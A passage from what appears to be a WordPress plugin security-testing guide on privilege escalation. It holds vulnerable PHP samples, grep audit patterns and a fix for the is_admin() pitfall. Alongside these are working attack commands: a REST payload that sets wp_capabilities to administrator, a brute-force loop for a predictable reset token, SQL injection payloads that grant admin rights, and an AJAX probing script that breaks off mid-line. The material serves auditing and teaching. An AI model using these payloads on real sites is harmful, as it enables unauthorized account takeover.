meta\n",[36,14085,14086],{"class":38,"line":46},[36,14087,14088],{},"register_rest_route( 'my-plugin\u002Fv1', '\u002Fprofile', [\n",[36,14090,14091],{"class":38,"line":57},[36,14092,1569],{},[36,14094,14095],{"class":38,"line":64},[36,14096,14097],{},"    'callback'            => function( WP_REST_Request $r ) {\n",[36,14099,14100],{"class":38,"line":70},[36,14101,14102],{},"        $data = $r->get_json_params();\n",[36,14104,14105],{"class":38,"line":78},[36,14106,14107],{},"        foreach ( $data as $key => $val ) {\n",[36,14109,14110],{"class":38,"line":83},[36,14111,14112],{},"            \u002F\u002F No blocklist for sensitive meta keys\n",[36,14114,14115],{"class":38,"line":89},[36,14116,14117],{},"            update_user_meta( get_current_user_id(), sanitize_key($key), $val );\n",[36,14119,14120],{"class":38,"line":115},[36,14121,14122],{},"        }\n",[36,14124,14125],{"class":38,"line":133},[36,14126,14127],{},"        return rest_ensure_response(['updated' => true]);\n",[36,14129,14130],{"class":38,"line":138},[36,14131,1721],{},[36,14133,14134],{"class":38,"line":144},[36,14135,1579],{},[36,14137,14138],{"class":38,"line":158},[36,14139,14140],{},"]);\n",[26,14142,14144],{"className":28,"code":14143,"language":30,"meta":31,"style":31},"# Escalate to administrator via REST API\ncurl -s -u 'subscriber:password' -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fprofile' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"wp_capabilities\\\": \\\"a:1:{s:13:\\\\\\\"administrator\\\\\\\";b:1;}\\\"}\"\n\n# Verify escalation worked\ncurl -s -u 'subscriber:password' \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002Fme' | \\\n  python3 -c \"import json,sys; u=json.load(sys.stdin); print(u.get('roles'))\"\n",[33,14145,14146,14151,14167,14174,14182,14216,14220,14225,14237,14246],{"__ignoreMap":31},[36,14147,14148],{"class":38,"line":39},[36,14149,14150],{"class":42},"# Escalate to administrator via REST API\n",[36,14152,14153,14155,14157,14159,14161,14163,14165],{"class":38,"line":46},[36,14154,92],{"class":49},[36,14156,96],{"class":95},[36,14158,467],{"class":95},[36,14160,1652],{"class":53},[36,14162,792],{"class":95},[36,14164,795],{"class":53},[36,14166,155],{"class":95},[36,14168,14169,14172],{"class":38,"line":57},[36,14170,14171],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fprofile'",[36,14173,155],{"class":95},[36,14175,14176,14178,14180],{"class":38,"line":64},[36,14177,755],{"class":95},[36,14179,811],{"class":53},[36,14181,155],{"class":95},[36,14183,14184,14186,14189,14191,14193,14195,14197,14199,14202,14205,14207,14209,14212,14214],{"class":38,"line":70},[36,14185,818],{"class":95},[36,14187,14188],{"class":53}," \"{",[36,14190,1498],{"class":95},[36,14192,13082],{"class":53},[36,14194,1498],{"class":95},[36,14196,1424],{"class":53},[36,14198,1498],{"class":95},[36,14200,14201],{"class":53},"a:1:{s:13:",[36,14203,14204],{"class":95},"\\\\\\\"",[36,14206,13839],{"class":53},[36,14208,14204],{"class":95},[36,14210,14211],{"class":53},";b:1;}",[36,14213,1498],{"class":95},[36,14215,11517],{"class":53},[36,14217,14218],{"class":38,"line":78},[36,14219,61],{"emptyLinePlaceholder":60},[36,14221,14222],{"class":38,"line":83},[36,14223,14224],{"class":42},"# Verify escalation worked\n",[36,14226,14227,14229,14231,14233,14235],{"class":38,"line":89},[36,14228,92],{"class":49},[36,14230,96],{"class":95},[36,14232,467],{"class":95},[36,14234,1652],{"class":53},[36,14236,155],{"class":95},[36,14238,14239,14242,14244],{"class":38,"line":115},[36,14240,14241],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\u002Fme'",[36,14243,103],{"class":102},[36,14245,155],{"class":95},[36,14247,14248,14250,14252],{"class":38,"line":133},[36,14249,161],{"class":49},[36,14251,164],{"class":95},[36,14253,14254],{"class":53}," \"import json,sys; u=json.load(sys.stdin); print(u.get('roles'))\"\n",[18,14256,14258],{"id":14257},"password-reset-flow-vulnerabilities","Password Reset Flow Vulnerabilities",[684,14260,14262],{"id":14261},"weak-reset-token","Weak Reset Token",[26,14264,14266],{"className":177,"code":14265,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Predictable reset token\nadd_action( 'wp_ajax_nopriv_reset_password', function() {\n    $email = sanitize_email( $_POST['email'] );\n    $user  = get_user_by( 'email', $email );\n    if ( $user ) {\n        \u002F\u002F Weak: MD5 of email + timestamp (predictable)\n        $token = md5( $email . time() );\n        update_user_meta( $user->ID, 'reset_token', $token );\n        \u002F\u002F Send email...\n    }\n});\n",[33,14267,14268,14273,14278,14283,14288,14293,14298,14303,14308,14313,14317],{"__ignoreMap":31},[36,14269,14270],{"class":38,"line":39},[36,14271,14272],{},"\u002F\u002F VULNERABLE: Predictable reset token\n",[36,14274,14275],{"class":38,"line":46},[36,14276,14277],{},"add_action( 'wp_ajax_nopriv_reset_password', function() {\n",[36,14279,14280],{"class":38,"line":57},[36,14281,14282],{},"    $email = sanitize_email( $_POST['email'] );\n",[36,14284,14285],{"class":38,"line":64},[36,14286,14287],{},"    $user  = get_user_by( 'email', $email );\n",[36,14289,14290],{"class":38,"line":70},[36,14291,14292],{},"    if ( $user ) {\n",[36,14294,14295],{"class":38,"line":78},[36,14296,14297],{},"        \u002F\u002F Weak: MD5 of email + timestamp (predictable)\n",[36,14299,14300],{"class":38,"line":83},[36,14301,14302],{},"        $token = md5( $email . time() );\n",[36,14304,14305],{"class":38,"line":89},[36,14306,14307],{},"        update_user_meta( $user->ID, 'reset_token', $token );\n",[36,14309,14310],{"class":38,"line":115},[36,14311,14312],{},"        \u002F\u002F Send email...\n",[36,14314,14315],{"class":38,"line":133},[36,14316,1622],{},[36,14318,14319],{"class":38,"line":138},[36,14320,300],{},[26,14322,14324],{"className":28,"code":14323,"language":30,"meta":31,"style":31},"# Approximate token by knowing the timestamp\nTIMESTAMP=$(date +%s)\nEMAIL=\"admin@target.example.com\"\nfor ts in $(seq $((TIMESTAMP-5)) $((TIMESTAMP+5))); do\n    TOKEN=$(echo -n \"${EMAIL}${ts}\" | md5sum | cut -d' ' -f1)\n    RESPONSE=$(curl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n      -d \"action=verify_reset&token=$TOKEN\")\n    if echo \"$RESPONSE\" | grep -q \"success\"; then\n        echo \"Valid token found: $TOKEN (ts: $ts)\"\n    fi\ndone\n",[33,14325,14326,14331,14348,14358,14388,14436,14456,14470,14495,14512,14516],{"__ignoreMap":31},[36,14327,14328],{"class":38,"line":39},[36,14329,14330],{"class":42},"# Approximate token by knowing the timestamp\n",[36,14332,14333,14336,14338,14340,14343,14346],{"class":38,"line":46},[36,14334,14335],{"class":605},"TIMESTAMP",[36,14337,1220],{"class":102},[36,14339,1358],{"class":605},[36,14341,14342],{"class":49},"date",[36,14344,14345],{"class":53}," +%s",[36,14347,1385],{"class":605},[36,14349,14350,14353,14355],{"class":38,"line":57},[36,14351,14352],{"class":605},"EMAIL",[36,14354,1220],{"class":102},[36,14356,14357],{"class":53},"\"admin@target.example.com\"\n",[36,14359,14360,14362,14365,14367,14369,14371,14374,14377,14380,14383,14386],{"class":38,"line":64},[36,14361,1325],{"class":102},[36,14363,14364],{"class":605}," ts ",[36,14366,1331],{"class":102},[36,14368,1334],{"class":605},[36,14370,1337],{"class":49},[36,14372,14373],{"class":605}," $((",[36,14375,14376],{"class":49},"TIMESTAMP-5",[36,14378,14379],{"class":605},")) $((",[36,14381,14382],{"class":49},"TIMESTAMP+5",[36,14384,14385],{"class":605},"))); ",[36,14387,609],{"class":102},[36,14389,14390,14393,14395,14397,14399,14401,14404,14406,14409,14412,14415,14417,14420,14422,14425,14428,14431,14434],{"class":38,"line":70},[36,14391,14392],{"class":605},"    TOKEN",[36,14394,1220],{"class":102},[36,14396,1358],{"class":605},[36,14398,1226],{"class":95},[36,14400,1229],{"class":95},[36,14402,14403],{"class":53}," \"${",[36,14405,14352],{"class":605},[36,14407,14408],{"class":53},"}${",[36,14410,14411],{"class":605},"ts",[36,14413,14414],{"class":53},"}\"",[36,14416,103],{"class":102},[36,14418,14419],{"class":49}," md5sum",[36,14421,103],{"class":102},[36,14423,14424],{"class":49}," cut",[36,14426,14427],{"class":95}," -d",[36,14429,14430],{"class":53},"' '",[36,14432,14433],{"class":95}," -f1",[36,14435,1385],{"class":605},[36,14437,14438,14440,14442,14444,14446,14448,14450,14452,14454],{"class":38,"line":78},[36,14439,1353],{"class":605},[36,14441,1220],{"class":102},[36,14443,1358],{"class":605},[36,14445,92],{"class":49},[36,14447,96],{"class":95},[36,14449,792],{"class":95},[36,14451,795],{"class":53},[36,14453,3208],{"class":53},[36,14455,155],{"class":95},[36,14457,14458,14460,14463,14466,14468],{"class":38,"line":83},[36,14459,4411],{"class":95},[36,14461,14462],{"class":53}," \"action=verify_reset&token=",[36,14464,14465],{"class":605},"$TOKEN",[36,14467,631],{"class":53},[36,14469,1385],{"class":605},[36,14471,14472,14474,14476,14478,14480,14482,14484,14486,14488,14491,14493],{"class":38,"line":89},[36,14473,614],{"class":102},[36,14475,1392],{"class":95},[36,14477,625],{"class":53},[36,14479,1397],{"class":605},[36,14481,631],{"class":53},[36,14483,103],{"class":102},[36,14485,617],{"class":49},[36,14487,620],{"class":95},[36,14489,14490],{"class":53}," \"success\"",[36,14492,606],{"class":605},[36,14494,655],{"class":102},[36,14496,14497,14499,14502,14504,14507,14510],{"class":38,"line":115},[36,14498,660],{"class":95},[36,14500,14501],{"class":53}," \"Valid token found: ",[36,14503,14465],{"class":605},[36,14505,14506],{"class":53}," (ts: ",[36,14508,14509],{"class":605},"$ts",[36,14511,1241],{"class":53},[36,14513,14514],{"class":38,"line":133},[36,14515,673],{"class":102},[36,14517,14518],{"class":38,"line":138},[36,14519,678],{"class":102},[684,14521,14523],{"id":14522},"reset-token-not-invalidated","Reset Token Not Invalidated",[14,14525,14526],{},"If the reset token is never deleted from user meta after use, an attacker who intercepts it once can reuse it indefinitely.",[18,14528,14530],{"id":14529},"grep-patterns-for-privilege-escalation-audit","Grep Patterns for Privilege Escalation Audit",[26,14532,14534],{"className":28,"code":14533,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Find role\u002Fcapability manipulation\ngrep -rn \"set_role\\|add_role\\|remove_role\\|add_cap\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find user creation without capability checks\ngrep -rn \"wp_create_user\\|wp_insert_user\" \"$PLUGIN_DIR\" --include=\"*.php\" -B5 | \\\n  grep -v \"current_user_can\\|administrator\"\n\n# Find update_user_meta with user-controlled IDs\ngrep -rn \"update_user_meta\" \"$PLUGIN_DIR\" --include=\"*.php\" -B5 | \\\n  grep \"\\$_POST\\|\\$_GET\\|\\$user_id\\|\\$id\"\n\n# Find missing capability checks in AJAX handlers (audit all handlers)\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_\" \"$PLUGIN_DIR\" --include=\"*.php\" -A15 | \\\n  grep -B10 \"function\" | grep -v \"current_user_can\\|check_admin_referer\"\n\n# Find wp_update_user calls (potential account takeover)\ngrep -rn \"wp_update_user\" \"$PLUGIN_DIR\" --include=\"*.php\" -B10\n\n# Find password reset or token generation code\ngrep -rn \"get_password_reset_key\\|generate_token\\|reset_key\\|login_token\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find meta key write operations that could affect wp_capabilities\ngrep -rn \"wp_capabilities\\|user_level\\|wp_user_level\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# Find direct wp_usermeta table writes\ngrep -rn \"wp_usermeta\\|{.*prefix.*}usermeta\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find is_admin() misuse (not what you think it checks)\n# is_admin() checks if current PAGE is an admin page, NOT if user is admin\ngrep -rn \"is_admin()\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep \"if.*is_admin\\|is_admin.*can\\|is_admin.*role\"\n",[33,14535,14536,14544,14548,14553,14574,14578,14583,14608,14617,14621,14626,14651,14675,14679,14684,14713,14732,14736,14741,14763,14767,14772,14783,14797,14801,14806,14825,14829,14834,14855,14859,14864,14869,14892],{"__ignoreMap":31},[36,14537,14538,14540,14542],{"class":38,"line":39},[36,14539,2415],{"class":605},[36,14541,1220],{"class":102},[36,14543,2420],{"class":53},[36,14545,14546],{"class":38,"line":46},[36,14547,61],{"emptyLinePlaceholder":60},[36,14549,14550],{"class":38,"line":57},[36,14551,14552],{"class":42},"# Find role\u002Fcapability manipulation\n",[36,14554,14555,14557,14559,14562,14564,14566,14568,14570,14572],{"class":38,"line":64},[36,14556,490],{"class":49},[36,14558,493],{"class":95},[36,14560,14561],{"class":53}," \"set_role\\|add_role\\|remove_role\\|add_cap\"",[36,14563,625],{"class":53},[36,14565,2442],{"class":605},[36,14567,631],{"class":53},[36,14569,502],{"class":95},[36,14571,540],{"class":53},[36,14573,2906],{"class":95},[36,14575,14576],{"class":38,"line":70},[36,14577,61],{"emptyLinePlaceholder":60},[36,14579,14580],{"class":38,"line":78},[36,14581,14582],{"class":42},"# Find user creation without capability checks\n",[36,14584,14585,14587,14589,14592,14594,14596,14598,14600,14602,14604,14606],{"class":38,"line":83},[36,14586,490],{"class":49},[36,14588,493],{"class":95},[36,14590,14591],{"class":53}," \"wp_create_user\\|wp_insert_user\"",[36,14593,625],{"class":53},[36,14595,2442],{"class":605},[36,14597,631],{"class":53},[36,14599,502],{"class":95},[36,14601,540],{"class":53},[36,14603,2530],{"class":95},[36,14605,103],{"class":102},[36,14607,155],{"class":95},[36,14609,14610,14612,14614],{"class":38,"line":89},[36,14611,552],{"class":49},[36,14613,555],{"class":95},[36,14615,14616],{"class":53}," \"current_user_can\\|administrator\"\n",[36,14618,14619],{"class":38,"line":115},[36,14620,61],{"emptyLinePlaceholder":60},[36,14622,14623],{"class":38,"line":133},[36,14624,14625],{"class":42},"# Find update_user_meta with user-controlled IDs\n",[36,14627,14628,14630,14632,14635,14637,14639,14641,14643,14645,14647,14649],{"class":38,"line":138},[36,14629,490],{"class":49},[36,14631,493],{"class":95},[36,14633,14634],{"class":53}," \"update_user_meta\"",[36,14636,625],{"class":53},[36,14638,2442],{"class":605},[36,14640,631],{"class":53},[36,14642,502],{"class":95},[36,14644,540],{"class":53},[36,14646,2530],{"class":95},[36,14648,103],{"class":102},[36,14650,155],{"class":95},[36,14652,14653,14655,14657,14659,14661,14663,14665,14667,14670,14672],{"class":38,"line":144},[36,14654,552],{"class":49},[36,14656,625],{"class":53},[36,14658,4591],{"class":95},[36,14660,4594],{"class":53},[36,14662,4591],{"class":95},[36,14664,4599],{"class":53},[36,14666,4591],{"class":95},[36,14668,14669],{"class":53},"user_id\\|",[36,14671,4591],{"class":95},[36,14673,14674],{"class":53},"id\"\n",[36,14676,14677],{"class":38,"line":158},[36,14678,61],{"emptyLinePlaceholder":60},[36,14680,14681],{"class":38,"line":255},[36,14682,14683],{"class":42},"# Find missing capability checks in AJAX handlers (audit all handlers)\n",[36,14685,14686,14688,14690,14692,14694,14696,14698,14700,14702,14704,14706,14709,14711],{"class":38,"line":261},[36,14687,490],{"class":49},[36,14689,574],{"class":95},[36,14691,2950],{"class":53},[36,14693,1498],{"class":95},[36,14695,2955],{"class":53},[36,14697,625],{"class":53},[36,14699,2442],{"class":605},[36,14701,631],{"class":53},[36,14703,502],{"class":95},[36,14705,540],{"class":53},[36,14707,14708],{"class":95}," -A15",[36,14710,103],{"class":102},[36,14712,155],{"class":95},[36,14714,14715,14717,14720,14723,14725,14727,14729],{"class":38,"line":267},[36,14716,552],{"class":49},[36,14718,14719],{"class":95}," -B10",[36,14721,14722],{"class":53}," \"function\"",[36,14724,103],{"class":102},[36,14726,617],{"class":49},[36,14728,555],{"class":95},[36,14730,14731],{"class":53}," \"current_user_can\\|check_admin_referer\"\n",[36,14733,14734],{"class":38,"line":273},[36,14735,61],{"emptyLinePlaceholder":60},[36,14737,14738],{"class":38,"line":279},[36,14739,14740],{"class":42},"# Find wp_update_user calls (potential account takeover)\n",[36,14742,14743,14745,14747,14750,14752,14754,14756,14758,14760],{"class":38,"line":285},[36,14744,490],{"class":49},[36,14746,493],{"class":95},[36,14748,14749],{"class":53}," \"wp_update_user\"",[36,14751,625],{"class":53},[36,14753,2442],{"class":605},[36,14755,631],{"class":53},[36,14757,502],{"class":95},[36,14759,540],{"class":53},[36,14761,14762],{"class":95}," -B10\n",[36,14764,14765],{"class":38,"line":291},[36,14766,61],{"emptyLinePlaceholder":60},[36,14768,14769],{"class":38,"line":297},[36,14770,14771],{"class":42},"# Find password reset or token generation code\n",[36,14773,14774,14776,14778,14781],{"class":38,"line":303},[36,14775,490],{"class":49},[36,14777,493],{"class":95},[36,14779,14780],{"class":53}," \"get_password_reset_key\\|generate_token\\|reset_key\\|login_token\"",[36,14782,155],{"class":95},[36,14784,14785,14787,14789,14791,14793,14795],{"class":38,"line":308},[36,14786,3113],{"class":53},[36,14788,2442],{"class":605},[36,14790,631],{"class":53},[36,14792,502],{"class":95},[36,14794,540],{"class":53},[36,14796,2906],{"class":95},[36,14798,14799],{"class":38,"line":314},[36,14800,61],{"emptyLinePlaceholder":60},[36,14802,14803],{"class":38,"line":320},[36,14804,14805],{"class":42},"# Find meta key write operations that could affect wp_capabilities\n",[36,14807,14808,14810,14812,14815,14817,14819,14821,14823],{"class":38,"line":326},[36,14809,490],{"class":49},[36,14811,493],{"class":95},[36,14813,14814],{"class":53}," \"wp_capabilities\\|user_level\\|wp_user_level\"",[36,14816,625],{"class":53},[36,14818,2442],{"class":605},[36,14820,631],{"class":53},[36,14822,502],{"class":95},[36,14824,505],{"class":53},[36,14826,14827],{"class":38,"line":331},[36,14828,61],{"emptyLinePlaceholder":60},[36,14830,14831],{"class":38,"line":337},[36,14832,14833],{"class":42},"# Find direct wp_usermeta table writes\n",[36,14835,14836,14838,14840,14843,14845,14847,14849,14851,14853],{"class":38,"line":343},[36,14837,490],{"class":49},[36,14839,493],{"class":95},[36,14841,14842],{"class":53}," \"wp_usermeta\\|{.*prefix.*}usermeta\"",[36,14844,625],{"class":53},[36,14846,2442],{"class":605},[36,14848,631],{"class":53},[36,14850,502],{"class":95},[36,14852,540],{"class":53},[36,14854,2906],{"class":95},[36,14856,14857],{"class":38,"line":349},[36,14858,61],{"emptyLinePlaceholder":60},[36,14860,14861],{"class":38,"line":355},[36,14862,14863],{"class":42},"# Find is_admin() misuse (not what you think it checks)\n",[36,14865,14866],{"class":38,"line":6676},[36,14867,14868],{"class":42},"# is_admin() checks if current PAGE is an admin page, NOT if user is admin\n",[36,14870,14871,14873,14875,14878,14880,14882,14884,14886,14888,14890],{"class":38,"line":6686},[36,14872,490],{"class":49},[36,14874,493],{"class":95},[36,14876,14877],{"class":53}," \"is_admin()\"",[36,14879,625],{"class":53},[36,14881,2442],{"class":605},[36,14883,631],{"class":53},[36,14885,502],{"class":95},[36,14887,540],{"class":53},[36,14889,103],{"class":102},[36,14891,155],{"class":95},[36,14893,14894,14896],{"class":38,"line":6691},[36,14895,552],{"class":49},[36,14897,14898],{"class":53}," \"if.*is_admin\\|is_admin.*can\\|is_admin.*role\"\n",[18,14900,14902],{"id":14901},"the-is_admin-pitfall","The is_admin() Pitfall",[14,14904,14905,14906,14909,14910,13093],{},"A frequent misconception: ",[33,14907,14908],{},"is_admin()"," does NOT check if the current user is an administrator. It checks if the current request is for an admin page (",[33,14911,13236],{},[26,14913,14915],{"className":177,"code":14914,"language":179,"meta":31,"style":31},"\u002F\u002F WRONG: is_admin() doesn't check user privileges\nif ( ! is_admin() ) {\n    wp_die( 'Admin only' );\n}\n\n\u002F\u002F This is exploitable by making a request to admin-ajax.php or any wp-admin URL\n\u002F\u002F admin-ajax.php is IN the admin area, so is_admin() returns TRUE for AJAX requests!\n\n\u002F\u002F CORRECT: Check actual capability\nif ( ! current_user_can( 'manage_options' ) ) {\n    wp_die( 'Admin only' );\n}\n",[33,14916,14917,14922,14927,14932,14936,14940,14945,14950,14954,14959,14964,14968],{"__ignoreMap":31},[36,14918,14919],{"class":38,"line":39},[36,14920,14921],{},"\u002F\u002F WRONG: is_admin() doesn't check user privileges\n",[36,14923,14924],{"class":38,"line":46},[36,14925,14926],{},"if ( ! is_admin() ) {\n",[36,14928,14929],{"class":38,"line":57},[36,14930,14931],{},"    wp_die( 'Admin only' );\n",[36,14933,14934],{"class":38,"line":64},[36,14935,323],{},[36,14937,14938],{"class":38,"line":70},[36,14939,61],{"emptyLinePlaceholder":60},[36,14941,14942],{"class":38,"line":78},[36,14943,14944],{},"\u002F\u002F This is exploitable by making a request to admin-ajax.php or any wp-admin URL\n",[36,14946,14947],{"class":38,"line":83},[36,14948,14949],{},"\u002F\u002F admin-ajax.php is IN the admin area, so is_admin() returns TRUE for AJAX requests!\n",[36,14951,14952],{"class":38,"line":89},[36,14953,61],{"emptyLinePlaceholder":60},[36,14955,14956],{"class":38,"line":115},[36,14957,14958],{},"\u002F\u002F CORRECT: Check actual capability\n",[36,14960,14961],{"class":38,"line":133},[36,14962,14963],{},"if ( ! current_user_can( 'manage_options' ) ) {\n",[36,14965,14966],{"class":38,"line":138},[36,14967,14931],{},[36,14969,14970],{"class":38,"line":144},[36,14971,323],{},[14,14973,3495],{},[26,14975,14977],{"className":28,"code":14976,"language":30,"meta":31,"style":31},"# admin-ajax.php returns is_admin() = true for all requests\n# So any is_admin() check in an AJAX handler is meaningless protection\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=admin_only_action'\n# If only protected by is_admin(), this will succeed even unauthenticated\n",[33,14978,14979,14984,14989,15003,15010],{"__ignoreMap":31},[36,14980,14981],{"class":38,"line":39},[36,14982,14983],{"class":42},"# admin-ajax.php returns is_admin() = true for all requests\n",[36,14985,14986],{"class":38,"line":46},[36,14987,14988],{"class":42},"# So any is_admin() check in an AJAX handler is meaningless protection\n",[36,14990,14991,14993,14995,14997,14999,15001],{"class":38,"line":57},[36,14992,92],{"class":49},[36,14994,96],{"class":95},[36,14996,792],{"class":95},[36,14998,795],{"class":53},[36,15000,3208],{"class":53},[36,15002,155],{"class":95},[36,15004,15005,15007],{"class":38,"line":64},[36,15006,818],{"class":95},[36,15008,15009],{"class":53}," 'action=admin_only_action'\n",[36,15011,15012],{"class":38,"line":70},[36,15013,15014],{"class":42},"# If only protected by is_admin(), this will succeed even unauthenticated\n",[18,15016,15018],{"id":15017},"exploiting-wp_capabilities-serialization","Exploiting wp_capabilities Serialization",[14,15020,15021],{},"The capabilities meta value is a PHP serialized string. Direct database injection (via SQLi) can modify it:",[26,15023,15025],{"className":28,"code":15024,"language":30,"meta":31,"style":31},"# Via SQL injection - update own capabilities\n# First determine your user ID via SQLi\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=sqli_action\" \\\n  --data-urlencode \"id=1' UNION SELECT user_id FROM wp_usermeta WHERE meta_key='wp_capabilities' AND meta_value LIKE '%subscriber%' LIMIT 1-- -\"\n\n# Update capabilities via SQL injection\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=sqli_action\" \\\n  --data-urlencode \"id=1'; UPDATE wp_usermeta SET meta_value='a:1:{s:13:\\\"administrator\\\";b:1;}' WHERE user_id=YOUR_ID AND meta_key='wp_capabilities'-- -\"\n",[33,15026,15027,15032,15037,15055,15064,15071,15075,15080,15098,15106],{"__ignoreMap":31},[36,15028,15029],{"class":38,"line":39},[36,15030,15031],{"class":42},"# Via SQL injection - update own capabilities\n",[36,15033,15034],{"class":38,"line":46},[36,15035,15036],{"class":42},"# First determine your user ID via SQLi\n",[36,15038,15039,15041,15043,15045,15047,15049,15051,15053],{"class":38,"line":57},[36,15040,92],{"class":49},[36,15042,96],{"class":95},[36,15044,792],{"class":95},[36,15046,795],{"class":53},[36,15048,625],{"class":53},[36,15050,1911],{"class":605},[36,15052,631],{"class":53},[36,15054,155],{"class":95},[36,15056,15057,15059,15062],{"class":38,"line":64},[36,15058,3811],{"class":95},[36,15060,15061],{"class":53}," \"action=sqli_action\"",[36,15063,155],{"class":95},[36,15065,15066,15068],{"class":38,"line":70},[36,15067,3811],{"class":95},[36,15069,15070],{"class":53}," \"id=1' UNION SELECT user_id FROM wp_usermeta WHERE meta_key='wp_capabilities' AND meta_value LIKE '%subscriber%' LIMIT 1-- -\"\n",[36,15072,15073],{"class":38,"line":78},[36,15074,61],{"emptyLinePlaceholder":60},[36,15076,15077],{"class":38,"line":83},[36,15078,15079],{"class":42},"# Update capabilities via SQL injection\n",[36,15081,15082,15084,15086,15088,15090,15092,15094,15096],{"class":38,"line":89},[36,15083,92],{"class":49},[36,15085,96],{"class":95},[36,15087,792],{"class":95},[36,15089,795],{"class":53},[36,15091,625],{"class":53},[36,15093,1911],{"class":605},[36,15095,631],{"class":53},[36,15097,155],{"class":95},[36,15099,15100,15102,15104],{"class":38,"line":115},[36,15101,3811],{"class":95},[36,15103,15061],{"class":53},[36,15105,155],{"class":95},[36,15107,15108,15110,15113,15115,15117,15119],{"class":38,"line":133},[36,15109,3811],{"class":95},[36,15111,15112],{"class":53}," \"id=1'; UPDATE wp_usermeta SET meta_value='a:1:{s:13:",[36,15114,1498],{"class":95},[36,15116,13839],{"class":53},[36,15118,1498],{"class":95},[36,15120,15121],{"class":53},";b:1;}' WHERE user_id=YOUR_ID AND meta_key='wp_capabilities'-- -\"\n",[18,15123,15125],{"id":15124},"testing-privilege-escalation-scenarios","Testing Privilege Escalation Scenarios",[26,15127,15129],{"className":28,"code":15128,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\nTARGET=\"https:\u002F\u002Ftarget.example.com\"\n\n# Create test subscriber account\ncurl -s -X POST \"$TARGET\u002Fwp-login.php?action=register\" \\\n  -d 'user_login=test_subscriber&user_email=test@test.com'\n\n# Login as subscriber\ncurl -s -c \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \"$TARGET\u002Fwp-login.php\" \\\n  -d 'log=test_subscriber&pwd=PASSWORD&wp-submit=Log+In&testcookie=1' \\\n  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'\n\n# Get nonce for subscriber session\nNONCE=$(curl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt \"$TARGET\u002F\" | \\\n  grep -oP '\"nonce\"\\s*:\\s*\"\\K[a-f0-9]{10}' | head -1)\necho \"Subscriber nonce: $NONCE\"\n\n# Test all AJAX actions with subscriber privileges\nfor action in $(cat \u002Ftmp\u002Fall_ajax_actions.txt); do\n    RESPONSE=$(curl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \\\n      \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n      -d \"action=$action&nonce=$NONCE\")\n    # Look for signs of success that shouldn't happen for subscribers\n    if echo \"$RESPONSE\" | grep -qv \"permission\\|forbidden\\|unauthorized\\|nonce\"; then\n        echo \"Potential privesc via action: $action\"\n        echo \"$RESPONSE\" | head -c 200\n    fi\ndone\n",[33,15130,15131,15135,15143,15147,15152,15171,15178,15182,15187,15210,15219,15225,15229,15234,15261,15278,15289,15293,15298,15317,15339,15350,15367,15372,15398,15409,15428,15432],{"__ignoreMap":31},[36,15132,15133],{"class":38,"line":39},[36,15134,4257],{"class":42},[36,15136,15137,15139,15141],{"class":38,"line":46},[36,15138,1886],{"class":605},[36,15140,1220],{"class":102},[36,15142,1891],{"class":53},[36,15144,15145],{"class":38,"line":57},[36,15146,61],{"emptyLinePlaceholder":60},[36,15148,15149],{"class":38,"line":64},[36,15150,15151],{"class":42},"# Create test subscriber account\n",[36,15153,15154,15156,15158,15160,15162,15164,15166,15169],{"class":38,"line":70},[36,15155,92],{"class":49},[36,15157,96],{"class":95},[36,15159,792],{"class":95},[36,15161,795],{"class":53},[36,15163,625],{"class":53},[36,15165,1911],{"class":605},[36,15167,15168],{"class":53},"\u002Fwp-login.php?action=register\"",[36,15170,155],{"class":95},[36,15172,15173,15175],{"class":38,"line":78},[36,15174,818],{"class":95},[36,15176,15177],{"class":53}," 'user_login=test_subscriber&user_email=test@test.com'\n",[36,15179,15180],{"class":38,"line":83},[36,15181,61],{"emptyLinePlaceholder":60},[36,15183,15184],{"class":38,"line":89},[36,15185,15186],{"class":42},"# Login as subscriber\n",[36,15188,15189,15191,15193,15195,15197,15199,15201,15203,15205,15208],{"class":38,"line":115},[36,15190,92],{"class":49},[36,15192,96],{"class":95},[36,15194,164],{"class":95},[36,15196,13608],{"class":53},[36,15198,792],{"class":95},[36,15200,795],{"class":53},[36,15202,625],{"class":53},[36,15204,1911],{"class":605},[36,15206,15207],{"class":53},"\u002Fwp-login.php\"",[36,15209,155],{"class":95},[36,15211,15212,15214,15217],{"class":38,"line":133},[36,15213,818],{"class":95},[36,15215,15216],{"class":53}," 'log=test_subscriber&pwd=PASSWORD&wp-submit=Log+In&testcookie=1'",[36,15218,155],{"class":95},[36,15220,15221,15223],{"class":38,"line":138},[36,15222,755],{"class":95},[36,15224,3299],{"class":53},[36,15226,15227],{"class":38,"line":144},[36,15228,61],{"emptyLinePlaceholder":60},[36,15230,15231],{"class":38,"line":158},[36,15232,15233],{"class":42},"# Get nonce for subscriber 